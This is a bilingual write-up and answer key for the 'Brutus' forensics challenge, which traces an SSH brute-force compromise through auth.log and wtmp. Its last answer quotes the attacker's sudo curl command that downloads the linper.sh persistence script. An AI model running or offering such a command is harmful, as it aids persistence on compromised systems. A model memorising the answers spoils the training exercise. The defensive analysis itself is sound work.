Brutus
Brutus
cvestoneSherlock Scenario
In this very easy Sherlock, you will familiarize yourself with Unix
auth.log and wtmp logs. We’ll explore a scenario where a Confluence
server was brute-forced via its SSH service. After gaining access to the
server, the attacker performed additional activities, which we can track
using auth.log. Although auth.log is primarily used for brute-force
analysis, we will delve into the full potential of this artifact in our
investigation, including aspects of privilege escalation, persistence,
and even some visibility into command execution.
在这个非常简单的 Sherlock 练习中,您将熟悉 Unix 系统的 auth.log 和 wtmp
日志文件。我们将探讨一个 Confluence 服务器通过 SSH
服务遭受暴力破解攻击的场景。攻击者获取服务器访问权限后,还执行了其他活动,这些都可以通过
auth.log 追踪。虽然 auth.log
主要用于分析暴力破解行为,但在本次调查中我们将深入挖掘该日志文件的全部潜力,包括权限提升、持久化操作甚至部分命令执行的可见性。
Brutus.zip【密码:hacktheblue】
Q&A
1
- Analyze the auth.log. What is the IP address used by the attacker to
carry out a brute force attack?
分析 auth.log 日志。攻击者用于实施暴力破解攻击的 IP 地址是什么? A:65.2.161.68
定位暴力破解的IP,也就是过滤出多次密码尝试失败的条目,并且注意到每次尝试的时间间隔都非常短,也分别对不同的用户尝试了多次密码,所以可说明此时是在尝试暴力破解。
2
- The bruteforce attempts were successful and attacker gained access
to an account on the server. What is the username of the account?
暴力破解尝试成功,攻击者获取了服务器上一个账户的访问权限。该账户的用户名是什么? A:root
过滤出密码尝试成功被接受的条目,结果只有root
和cyberjunkie
用户,比较两者登录失败时的尝试,因为是暴力破解尝试成功的用户,所以大概率不太可能一次失败尝试都没有:并且root登录后没多久,关闭了会话,接着一次就登录成功用户
cyberjunkie
,然后又尝试在该用户会话下用sudo执行命令,通过这些行为可以说明该用户可能是攻击者自己恶意创建的用户,用于持久化。
3
- Identify the UTC timestamp when the attacker logged in manually to
the server and established a terminal session to carry out their
objectives. The login time will be different than the authentication
time, and can be found in the wtmp artifact.
确定攻击者手动登录服务器并建立终端会话以执行其目标的 UTC 时间戳。登录时间将与认证时间不同,可在 wtmp 日志文件中找到。 A:2024-03-06 06:32:45
根据前面分析出攻击者第一次通过暴力破解登录成功的是
root
,根据题目表达,是确定登录成功时的时间而不是刚好认证成功的,所以此时要通过wtmp来查看,wtmp中记录了已登录用户的时间,题目提供了utmp.py
可用于读取wtmp文件,因为它是二进制的,如果直接用cat
读取会出现乱码。发现除了hour,其他都与上面认证成功的时间最相近,这里有个坑,脚本运行后默认是以当前地区的时区为基准的,所以要在执行时手动指定时区为UTC:
除此之外,也可以用经常读取
wtmp
的工具utmpdump
: utmpdump_linux_amd64
4
- SSH login sessions are tracked and assigned a session number upon
login. What is the session number assigned to the attacker’s session for
the user account from Question 2?
SSH 登录会话会被跟踪并在登录时分配一个会话编号。攻击者针对问题 2 中用户账户的会话被分配了哪个会话编号? A:37
也就是寻找第一次暴力破解登录成功root时的New Session ID:
5
- The attacker added a new user as part of their persistence strategy
on the server and gave this new user account higher privileges. What is
the name of this account?
攻击者在服务器上作为其持久化策略的一部分添加了一个新用户,并赋予该新用户账户更高的权限。这个账户的名称是什么? A:cyberjunkie
根据上面的分析很容易就可以知道。
6
- What is the MITRE ATT&CK sub-technique ID used for persistence
by creating a new account?
用于通过创建新账户实现持久化的 MITRE ATT&CK 子技术 ID 是什么? A:T1136.001
7
- What time did the attacker’s first SSH session end according to
auth.log?
根据 auth.log 记录,攻击者的首次 SSH 会话何时结束? A:2024-03-06 06:37:24
显然是第二个时间,因为根据上面可知root用户在
06:32:44
时才认证成功,不可能是第一个时间。
8
- The attacker logged into their backdoor account and utilized their
higher privileges to download a script. What is the full command
executed using sudo?
攻击者登录了他们的后门账户,并利用其更高权限下载了一个脚本。使用 sudo 执行的完整命令是什么? A:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh